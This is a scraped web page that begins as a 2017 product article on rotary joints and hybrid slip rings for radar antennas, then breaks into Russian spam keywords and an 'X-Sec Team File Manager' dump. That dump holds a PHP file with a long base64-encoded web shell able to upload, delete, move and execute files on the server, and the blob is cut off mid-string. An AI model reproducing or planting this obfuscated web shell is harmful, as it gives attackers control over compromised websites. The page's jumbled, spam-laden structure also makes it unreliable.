1

The Application Of Rotary Joints In Radar Control System

Dditors:gassrini Time:2017-04-27

With the diversification of radar systems, all kinds of rotating combination application in radar system is becoming more frequent, The rotary combination is a rotary transmission device for connecting the equipment cabin and the antenna in the radar system. Its task is to make the fixed and rotating ends of the various electrical signals, optical signals, power or liquid or gas medium rotation transmission. Rotary joint is the indispensable key device in the mechanical scan radar system, it is used in radar antenna.

 

Jinpat LPHF rotary joint series slip ring is a slip ring and high frequency rotary joint LPCC series in one of the mixed slip ring

LPHF rotary joint series of slip ring is a mixed type slip ring that integrated electronic slip ring and high frequency rotary joint. In addition to realize the function of the traditional electrical slip ring, it also can through the high frequency rotary joint transmission frequency up to 500 MHZ - more than 50 GHZ analog signals and high speed digital signals. This series of slip ring performance is remarkable, its signal attenuation loss and transmission fluctuations in ultra-low, which has been widely used in air traffic control, missile defense systems and other aerospace fields.

 

Features:

1, high frequency channel up to 37 circuits

2, the frequency range up to 50GHz

Customization options:

1, the number of channels

2, the number of high frequency channels

3, rated voltage and rated current

4, the end of the wire connector

5, the length of the wire

6, support broadband signal and current or other signal mixed transmission

 

Typical Application:

1, radar antenna

2, air traffic control

3, satellite communication system

Other customizable rotary joint type

Hybrid slip ring 1 ------ The combination of the electric slip ring and the fiber optic rotary joint

Hybrid slip ring 2 ----- The slip ring is combined with the high frequency rotary joint

Hybrid slip ring 3 ----- The slip ring is combined with the hydraulic / pneumatic rotary joint

играть в Minecraft Онлайн игра sims 4 sex знакомства Барнаул гта 5 онлайн все гта GTA 5 online Онлайн игра "Assassin's Creed" gta 5 играть онлайн бесплатно без регистрации играть в Minecraft Моды, mods, майнкрафт Карты майнкрафт, maps, майнкрафт X-Sec File Manager

X-Sec Team File Manager

Current Path : D:/SITES/LocalUser/yangwei2/www/
Upload File :
Current File : D:/SITES/LocalUser/yangwei2/www/drs1.php8

<?php



$lang = "J2F1dG8nOwokY2hhcnNldCA9ICdJU08tODg1OS0xJzsKJGhvbWVkaXIgPSAnLi8nOwokZWRpdGNvbHMgPSA4MDsKJGVkaXRyb3dzID0gMjU7CiRodGFjY2VzcyA9ICcuaHRhY2Nlc3MnOwokaHRwYXNzd2QgPSAnLmh0cGFzc3dkJzsKaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsKCWFycmF5X3dhbGsoJF9HRVQsICdzdHJpcCcpOwoJYXJyYXlfd2FsaygkX1BPU1QsICdzdHJpcCcpOwoJYXJyYXlfd2FsaygkX1JFUVVFU1QsICdzdHJpcCcpOwp9CmlmIChhcnJheV9rZXlfZXhpc3RzKCdpbWFnZScsICRfR0VUKSkgewoJaGVhZGVyKCdDb250ZW50LVR5cGU6IGltYWdlL2dpZicpOwoJZGllKGdldGltYWdlKCRfR0VUWydpbWFnZSddKSk7Cn0KJGRlbGltID0gRElSRUNUT1JZX1NFUEFSQVRPUjsKaWYgKGZ1bmN0aW9uX2V4aXN0cygncGhwX3VuYW1lJykpIHsKCSR3aW4gPSAoc3RydG91cHBlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICdXSU4nKSA/IHRydWUgOiBmYWxzZTsKfSBlbHNlIHsKCSR3aW4gPSAoJGRlbGltID09ICdcXCcpID8gdHJ1ZSA6IGZhbHNlOwp9CmlmICghZW1wdHkoJF9TRVJWRVJbJ1BBVEhfVFJBTlNMQVRFRCddKSkgewoJJHNjcmlwdGRpciA9IGRpcm5hbWUoJF9TRVJWRVJbJ1BBVEhfVFJBTlNMQVRFRCddKTsKfSBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pKSB7Cgkkc2NyaXB0ZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOwp9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRjd2QnKSkgewoJJHNjcmlwdGRpciA9IGdldGN3ZCgpOwp9IGVsc2UgewoJJHNjcmlwdGRpciA9ICcuJzsKfQokaG9tZWRpciA9IHJlbGF0aXZlMmFic29sdXRlKCRob21lZGlyLCAkc2NyaXB0ZGlyKTsKCiRkaXIgPSAoYXJyYXlfa2V5X2V4aXN0cygnZGlyJywgJF9SRVFVRVNUKSkgPyAkX1JFUVVFU1RbJ2RpciddIDogJGhvbWVkaXI7CgppZiAoYXJyYXlfa2V5X2V4aXN0cygnb2xkZGlyJywgJF9QT1NUKSAmJiAhcGF0aF9pc19yZWxhdGl2ZSgkX1BPU1RbJ29sZGRpciddKSkgewoJJGRpciA9IHJlbGF0aXZlMmFic29sdXRlKCRkaXIsICRfUE9TVFsnb2xkZGlyJ10pOwp9CgokZGlyZWN0b3J5ID0gc2ltcGxpZnlfcGF0aChhZGRzbGFzaCgkZGlyKSk7CgokZmlsZXMgPSBhcnJheSgpOwokYWN0aW9uID0gJyc7CmlmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfYWxsJ10pKSB7CgkkYWN0aW9uID0gJF9QT1NUWydhY3Rpb25fYWxsJ107Cglmb3IgKCRpID0gMDsgJGkgPCAkX1BPU1RbJ251bSddOyAkaSsrKSB7CgkJaWYgKGFycmF5X2tleV9leGlzdHMoImNoZWNrZWQkaSIsICRfUE9TVCkgJiYgJF9QT1NUWyJjaGVja2VkJGkiXSA9PSAndHJ1ZScpIHsKCQkJJGZpbGVzW10gPSAkX1BPU1RbImZpbGUkaSJdOwoJCX0KCX0KfSBlbHNlaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2FjdGlvbiddKSkgewoJJGFjdGlvbiA9ICRfUkVRVUVTVFsnYWN0aW9uJ107CgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRlKCRfUkVRVUVTVFsnZmlsZSddLCAkZGlyZWN0b3J5KTsKfSBlbHNlaWYgKCFlbXB0eSgkX1BPU1RbJ3N1Ym1pdF91cGxvYWQnXSkgJiYgIWVtcHR5KCRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKSB7CgkkZmlsZXNbXSA9ICRfRklMRVNbJ3VwbG9hZCddOwoJJGFjdGlvbiA9ICd1cGxvYWQnOwp9IGVsc2VpZiAoYXJyYXlfa2V5X2V4aXN0cygnbnVtJywgJF9QT1NUKSkgewoJZm9yICgkaSA9IDA7ICRpIDwgJF9QT1NUWydudW0nXTsgJGkrKykgewoJCWlmIChhcnJheV9rZXlfZXhpc3RzKCJzdWJtaXQkaSIsICRfUE9TVCkpIGJyZWFrOwoJfQoJaWYgKCRpIDwgJF9QT1NUWydudW0nXSkgewoJCSRhY3Rpb24gPSAkX1BPU1RbImFjdGlvbiRpIl07CgkJJGZpbGVzW10gPSAkX1BPU1RbImZpbGUkaSJdOwoJfQp9CmlmIChlbXB0eSgkYWN0aW9uKSAmJiAoIWVtcHR5KCRfUE9TVFsnc3VibWl0X2NyZWF0ZSddKSB8fCAoYXJyYXlfa2V5X2V4aXN0cygnZm9jdXMnLCAkX1BPU1QpICYmICRfUE9TVFsnZm9jdXMnXSA9PSAnY3JlYXRlJykpICYmICFlbXB0eSgkX1BPU1RbJ2NyZWF0ZV9uYW1lJ10pKSB7CgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnY3JlYXRlX25hbWUnXSwgJGRpcmVjdG9yeSk7Cglzd2l0Y2ggKCRfUE9TVFsnY3JlYXRlX3R5cGUnXSkgewoJY2FzZSAnZGlyZWN0b3J5JzoKCQkkYWN0aW9uID0gJ2NyZWF0ZV9kaXJlY3RvcnknOwoJCWJyZWFrOwoJY2FzZSAnZmlsZSc6CgkJJGFjdGlvbiA9ICdjcmVhdGVfZmlsZSc7Cgl9Cn0KaWYgKHNpemVvZigkZmlsZXMpID09IDApICRhY3Rpb24gPSAnJzsgZWxzZSAkZmlsZSA9IHJlc2V0KCRmaWxlcyk7CgppZiAoJGxhbmcgPT0gJ2F1dG8nKSB7CglpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnLCAkX1NFUlZFUikgJiYgc3RybGVuKCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSA+PSAyKSB7CgkJJGxhbmcgPSBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpOwoJfSBlbHNlIHsKCQkkbGFuZyA9ICdlbic7Cgl9Cn0KJHdvcmRzID0gZ2V0d29yZHMoJGxhbmcpOwokY29scyA9ICgkd2luKSA/IDQgOiA3OwppZiAoIWlzc2V0KCRkaXJwZXJtaXNzaW9uKSkgewoJJGRpcnBlcm1pc3Npb24gPSAoZnVuY3Rpb25fZXhpc3RzKCd1bWFzaycpKSA/ICgwNzc3ICYgfnVtYXNrKCkpIDogMDc1NTsKfQppZiAoIWlzc2V0KCRmaWxlcGVybWlzc2lvbikpIHsKCSRmaWxlcGVybWlzc2lvbiA9IChmdW5jdGlvbl9leGlzdHMoJ3VtYXNrJykpID8gKDA2NjYgJiB+dW1hc2soKSkgOiAwNjQ0Owp9CmlmICghZW1wdHkoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pKSB7Cgkkc2VsZiA9IGh0bWwoYmFzZW5hbWUoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pKTsKfSBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpIHsKCSRzZWxmID0gaHRtbChiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpOwp9IGVsc2UgewoJJHNlbGYgPSAnJzsKfQppZiAoIWVtcHR5KCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSkpIHsKCWlmIChzdHJ0b2xvd2VyKHN1YnN0cigkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10sIDAsIDYpKSA9PSAnYXBhY2hlJykgewoJCSRhcGFjaGUgPSB0cnVlOwoJfSBlbHNlIHsKCQkkYXBhY2hlID0gZmFsc2U7Cgl9Cn0gZWxzZSB7CgkkYXBhY2hlID0gdHJ1ZTsKfQpzd2l0Y2ggKCRhY3Rpb24pIHsKY2FzZSAndmlldyc6CglpZiAoaXNfc2NyaXB0KCRmaWxlKSkgewoJCW9iX3N0YXJ0KCk7CgkJaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOwoJCSRzcmMgPSBlcmVnX3JlcGxhY2UoJzxmb250IGNvbG9yPSIoW14iXSopIj4nLCAnPHNwYW4gc3R5bGU9ImNvbG9yOiBcMSI+Jywgb2JfZ2V0X2NvbnRlbnRzKCkpOwoJCSRzcmMgPSBzdHJfcmVwbGFjZShhcnJheSgnPC9mb250PicsICJcciIsICJcbiIpLCBhcnJheSgnPC9zcGFuPicsICcnLCAnJyksICRzcmMpOwoJCW9iX2VuZF9jbGVhbigpOwoJCWh0bWxfaGVhZGVyKCk7CgkJZWNobyAnPGgyIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyBtYXJnaW4tYm90dG9tOiAwIj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9oMj4KPGhyIC8+Cjx0YWJsZT4KPHRyPgo8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0OyB2ZXJ0aWNhbC1hbGlnbjogdG9wOyBjb2xvcjogZ3JheTsgcGFkZGluZy1yaWdodDogM3B0OyBib3JkZXItcmlnaHQ6IDFweCBzb2xpZCBncmF5Ij4KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+PGNvZGU+JzsKCQlmb3IgKCRpID0gMTsgJGkgPD0gc2l6ZW9mKGZpbGUoJGZpbGUpKTsgJGkrKykgZWNobyAiJGlcbiI7CgkJZWNobyAnPC9jb2RlPjwvcHJlPgo8L3RkPgo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IHZlcnRpY2FsLWFsaWduOiB0b3A7IHBhZGRpbmctbGVmdDogM3B0Ij4KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+JyAuICRzcmMgLiAnPC9wcmU+CjwvdGQ+CjwvdHI+CjwvdGFibGU+Cic7CgkJaHRtbF9mb290ZXIoKTsKCX0gZWxzZSB7CgkJaGVhZGVyKCdDb250ZW50LVR5cGU6ICcgLiBnZXRtaW1ldHlwZSgkZmlsZSkpOwoJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogZmlsZW5hbWU9JyAuIGJhc2VuYW1lKCRmaWxlKSk7CgkJcmVhZGZpbGUoJGZpbGUpOwoJfQoJYnJlYWs7CmNhc2UgJ2Rvd25sb2FkJzoKCWhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsKCWhlYWRlcignRXhwaXJlczogMCcpOwoJaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAnKTsKCWhlYWRlcignQ29udGVudC1UeXBlOiAnIC4gZ2V0bWltZXR5cGUoJGZpbGUpKTsKCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuIGJhc2VuYW1lKCRmaWxlKSAuICc7Jyk7CgloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGUpKTsKCXJlYWRmaWxlKCRmaWxlKTsKCWJyZWFrOwpjYXNlICd1cGxvYWQnOgoJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkZmlsZVsnbmFtZSddLCAkZGlyZWN0b3J5KTsKCWlmIChAZmlsZV9leGlzdHMoJGRlc3QpKSB7CgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRkZXN0KSk7Cgl9IGVsc2VpZiAoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgJGRlc3QpKSB7CgkJbGlzdGluZ19wYWdlKG5vdGljZSgndXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7Cgl9IGVsc2UgewoJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X3VwbG9hZGVkJywgJGZpbGVbJ25hbWUnXSkpOwoJfQoJYnJlYWs7CmNhc2UgJ2NyZWF0ZV9kaXJlY3RvcnknOgoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsKCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ2FscmVhZHlfZXhpc3RzJywgJGZpbGUpKTsKCX0gZWxzZSB7CgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRkaXJwZXJtaXNzaW9uKTsKCQlpZiAoQG1rZGlyKCRmaWxlLCAkZGlycGVybWlzc2lvbikpIHsKCQkJbGlzdGluZ19wYWdlKG5vdGljZSgnY3JlYXRlZCcsICRmaWxlKSk7CgkJfSBlbHNlIHsKCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfY3JlYXRlZCcsICRmaWxlKSk7CgkJfQoJCUB1bWFzaygkb2xkKTsKCX0KCWJyZWFrOwpjYXNlICdjcmVhdGVfZmlsZSc6CglpZiAoQGZpbGVfZXhpc3RzKCRmaWxlKSkgewoJCWxpc3RpbmdfcGFnZShlcnJvcignYWxyZWFkeV9leGlzdHMnLCAkZmlsZSkpOwoJfSBlbHNlIHsKCQkkb2xkID0gQHVtYXNrKDA3NzcgJiB+JGZpbGVwZXJtaXNzaW9uKTsKCQlpZiAoQHRvdWNoKCRmaWxlKSkgewoJCQllZGl0KCRmaWxlKTsKCQl9IGVsc2UgewoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9jcmVhdGVkJywgJGZpbGUpKTsKCQl9CgkJQHVtYXNrKCRvbGQpOwoJfQoJYnJlYWs7CmNhc2UgJ2V4ZWN1dGUnOgoJY2hkaXIoZGlybmFtZSgkZmlsZSkpOwoJJG91dHB1dCA9IGFycmF5KCk7CgkkcmV0dmFsID0gMDsKCWV4ZWMoJ2VjaG8gIi4vJyAuIGJhc2VuYW1lKCRmaWxlKSAuICciIHwgL2Jpbi9zaCcsICRvdXRwdXQsICRyZXR2YWwpOwoJJGVycm9yID0gKCRyZXR2YWwgPT0gMCkgPyBmYWxzZSA6IHRydWU7CglpZiAoc2l6ZW9mKCRvdXRwdXQpID09IDApICRvdXRwdXQgPSBhcnJheSgnPCcgLiAkd29yZHNbJ25vX291dHB1dCddIC4gJz4nKTsKCWlmICgkZXJyb3IpIHsKCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9leGVjdXRlZCcsICRmaWxlLCBpbXBsb2RlKCJcbiIsICRvdXRwdXQpKSk7Cgl9IGVsc2UgewoJCWxpc3RpbmdfcGFnZShub3RpY2UoJ2V4ZWN1dGVkJywgJGZpbGUsIGltcGxvZGUoIlxuIiwgJG91dHB1dCkpKTsKCX0KCWJyZWFrOwpjYXNlICdkZWxldGUnOgoJaWYgKCFlbXB0eSgkX1BPU1RbJ25vJ10pKSB7CgkJbGlzdGluZ19wYWdlKCk7Cgl9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFsneWVzJ10pKSB7CgkJJGZhaWx1cmUgPSBhcnJheSgpOwoJCSRzdWNjZXNzID0gYXJyYXkoKTsKCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsKCQkJaWYgKGRlbCgkZmlsZSkpIHsKCQkJCSRzdWNjZXNzW10gPSAkZmlsZTsKCQkJfSBlbHNlIHsKCQkJCSRmYWlsdXJlW10gPSAkZmlsZTsKCQkJfQoJCX0KCQkkbWVzc2FnZSA9ICcnOwoJCWlmIChzaXplb2YoJGZhaWx1cmUpID4gMCkgewoJCQkkbWVzc2FnZSA9IGVycm9yKCdub3RfZGVsZXRlZCcsIGltcGxvZGUoIlxuIiwgJGZhaWx1cmUpKTsKCQl9CgkJaWYgKHNpemVvZigkc3VjY2VzcykgPiAwKSB7CgkJCSRtZXNzYWdlIC49IG5vdGljZSgnZGVsZXRlZCcsIGltcGxvZGUoIlxuIiwgJHN1Y2Nlc3MpKTsKCQl9CgkJbGlzdGluZ19wYWdlKCRtZXNzYWdlKTsKCX0gZWxzZSB7CgkJaHRtbF9oZWFkZXIoKTsKCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+Cjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4KPHRyPgo8dGQgY2xhc3M9ImRpYWxvZyI+Cic7CgkJcmVxdWVzdF9kdW1wKCk7CgkJZWNobyAiXHQ8Yj4iIC4gd29yZCgncmVhbGx5X2RlbGV0ZScpIC4gJzwvYj4KCTxwPgonOwoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cbiI7CgkJfQoJCWVjaG8gJwk8L3A+Cgk8aHIgLz4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5vIiB2YWx1ZT0iJyAuIHdvcmQoJ25vJykgLiAnIiBpZD0icmVkX2J1dHRvbiIgLz4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InllcyIgdmFsdWU9IicgLiB3b3JkKCd5ZXMnKSAuICciIGlkPSJncmVlbl9idXR0b24iIHN0eWxlPSJtYXJnaW4tbGVmdDogNTBweCIgLz4KPC90ZD4KPC90cj4KPC90YWJsZT4KPC9mb3JtPgonOwoJCWh0bWxfZm9vdGVyKCk7Cgl9CglicmVhazsKY2FzZSAncmVuYW1lJzoKCWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgewoJCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsKCQlpZiAoIUBmaWxlX2V4aXN0cygkZGVzdCkgJiYgQHJlbmFtZSgkZmlsZSwgJGRlc3QpKSB7CgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3JlbmFtZWQnLCAkZmlsZSwgJGRlc3QpKTsKCQl9IGVsc2UgewoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9yZW5hbWVkJywgJGZpbGUsICRkZXN0KSk7CgkJfQoJfSBlbHNlIHsKCQkkbmFtZSA9IGJhc2VuYW1lKCRmaWxlKTsKCQlodG1sX2hlYWRlcigpOwoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPgo8dHI+Cjx0ZCBjbGFzcz0iZGlhbG9nIj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InJlbmFtZSIgLz4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPgoJPGI+JyAuIHdvcmQoJ3JlbmFtZV9maWxlJykgLiAnPC9iPgoJPHA+JyAuIGh0bWwoJGZpbGUpIC4gJzwvcD4KCTxiPicgLiBzdWJzdHIoJGZpbGUsIDAsIHN0cmxlbigkZmlsZSkgLSBzdHJsZW4oJG5hbWUpKSAuICc8L2I+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRuYW1lKSAuICciIHZhbHVlPSInIC4gaHRtbCgkbmFtZSkgLiAnIiAvPgoJPGhyIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJyAuIHdvcmQoJ3JlbmFtZScpIC4gJyIgLz4KPC90ZD4KPC90cj4KPC90YWJsZT4KPHA+PGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICciPlsgJyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+CjwvZm9ybT4KJzsKCQlodG1sX2Zvb3RlcigpOwoJfQoJYnJlYWs7CmNhc2UgJ21vdmUnOgoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7CgkJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10sICRkaXJlY3RvcnkpOwoJCSRmYWlsdXJlID0gYXJyYXkoKTsKCQkkc3VjY2VzcyA9IGFycmF5KCk7CgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CgkJCSRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZSwgc3RybGVuKCRkaXJlY3RvcnkpKTsKCQkJJGQgPSAkZGVzdCAuICRmaWxlbmFtZTsKCQkJaWYgKCFAZmlsZV9leGlzdHMoJGQpICYmIEByZW5hbWUoJGZpbGUsICRkKSkgewoJCQkJJHN1Y2Nlc3NbXSA9ICRmaWxlOwoJCQl9IGVsc2UgewoJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOwoJCQl9CgkJfQoJCSRtZXNzYWdlID0gJyc7CgkJaWYgKHNpemVvZigkZmFpbHVyZSkgPiAwKSB7CgkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9tb3ZlZCcsIGltcGxvZGUoIlxuIiwgJGZhaWx1cmUpLCAkZGVzdCk7CgkJfQoJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgewoJCQkkbWVzc2FnZSAuPSBub3RpY2UoJ21vdmVkJywgaW1wbG9kZSgiXG4iLCAkc3VjY2VzcyksICRkZXN0KTsKCQl9CgkJbGlzdGluZ19wYWdlKCRtZXNzYWdlKTsKCX0gZWxzZSB7CgkJaHRtbF9oZWFkZXIoKTsKCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+Cjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4KPHRyPgo8dGQgY2xhc3M9ImRpYWxvZyI+Cic7CgkJcmVxdWVzdF9kdW1wKCk7CgkJZWNobyAiXHQ8Yj4iIC4gd29yZCgnbW92ZV9maWxlcycpIC4gJzwvYj4KCTxwPgonOwoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cbiI7CgkJfQoJCWVjaG8gJwk8L3A+Cgk8aHIgLz4KCScgLiB3b3JkKCdkZXN0aW5hdGlvbicpIC4gJzoKCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZXN0aW5hdGlvbiIgc2l6ZT0iJyAuIHRleHRmaWVsZHNpemUoJGRpcmVjdG9yeSkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPgoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdtb3ZlJykgLiAnIiAvPgo8L3RkPgo8L3RyPgo8L3RhYmxlPgo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4KPC9mb3JtPgonOwoJCWh0bWxfZm9vdGVyKCk7Cgl9CglicmVhazsKY2FzZSAnY29weSc6CglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsKCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7CgkJaWYgKEBpc19kaXIoJGRlc3QpKSB7CgkJCSRmYWlsdXJlID0gYXJyYXkoKTsKCQkJJHN1Y2Nlc3MgPSBhcnJheSgpOwoJCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsKCQkJCSRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZSwgc3RybGVuKCRkaXJlY3RvcnkpKTsKCQkJCSRkID0gYWRkc2xhc2goJGRlc3QpIC4gJGZpbGVuYW1lOwoJCQkJaWYgKCFAaXNfZGlyKCRmaWxlKSAmJiAhQGZpbGVfZXhpc3RzKCRkKSAmJiBAY29weSgkZmlsZSwgJGQpKSB7CgkJCQkJJHN1Y2Nlc3NbXSA9ICRmaWxlOwoJCQkJfSBlbHNlIHsKCQkJCQkkZmFpbHVyZVtdID0gJGZpbGU7CgkJCQl9CgkJCX0KCQkJJG1lc3NhZ2UgPSAnJzsKCQkJaWYgKHNpemVvZigkZmFpbHVyZSkgPiAwKSB7CgkJCQkkbWVzc2FnZSA9IGVycm9yKCdub3RfY29waWVkJywgaW1wbG9kZSgiXG4iLCAkZmFpbHVyZSksICRkZXN0KTsKCQkJfQoJCQlpZiAoc2l6ZW9mKCRzdWNjZXNzKSA+IDApIHsKCQkJCSRtZXNzYWdlIC49IG5vdGljZSgnY29waWVkJywgaW1wbG9kZSgiXG4iLCAkc3VjY2VzcyksICRkZXN0KTsKCQkJfQoJCQlsaXN0aW5nX3BhZ2UoJG1lc3NhZ2UpOwoJCX0gZWxzZSB7CgkJCWlmICghQGZpbGVfZXhpc3RzKCRkZXN0KSAmJiBAY29weSgkZmlsZSwgJGRlc3QpKSB7CgkJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdjb3BpZWQnLCAkZmlsZSwgJGRlc3QpKTsKCQkJfSBlbHNlIHsKCQkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NvcGllZCcsICRmaWxlLCAkZGVzdCkpOwoJCQl9CgkJfQoJfSBlbHNlIHsKCQlodG1sX2hlYWRlcigpOwoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPgo8dHI+Cjx0ZCBjbGFzcz0iZGlhbG9nIj4KJzsKCQlyZXF1ZXN0X2R1bXAoKTsKCQllY2hvICJcbjxiPiIgLiB3b3JkKCdjb3B5X2ZpbGVzJykgLiAnPC9iPgoJPHA+Cic7CgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CgkJCWVjaG8gIlx0IiAuIGh0bWwoJGZpbGUpIC4gIjxiciAvPlxuIjsKCQl9CgkJZWNobyAnCTwvcD4KCTxociAvPgoJJyAuIHdvcmQoJ2Rlc3RpbmF0aW9uJykgLiAnOgoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJyAuIHdvcmQoJ2NvcHknKSAuICciIC8+CjwvdGQ+CjwvdHI+CjwvdGFibGU+CjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPgo8L2Zvcm0+Cic7CgkJaHRtbF9mb290ZXIoKTsKCX0KCWJyZWFrOwpjYXNlICdjcmVhdGVfc3ltbGluayc6CglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24n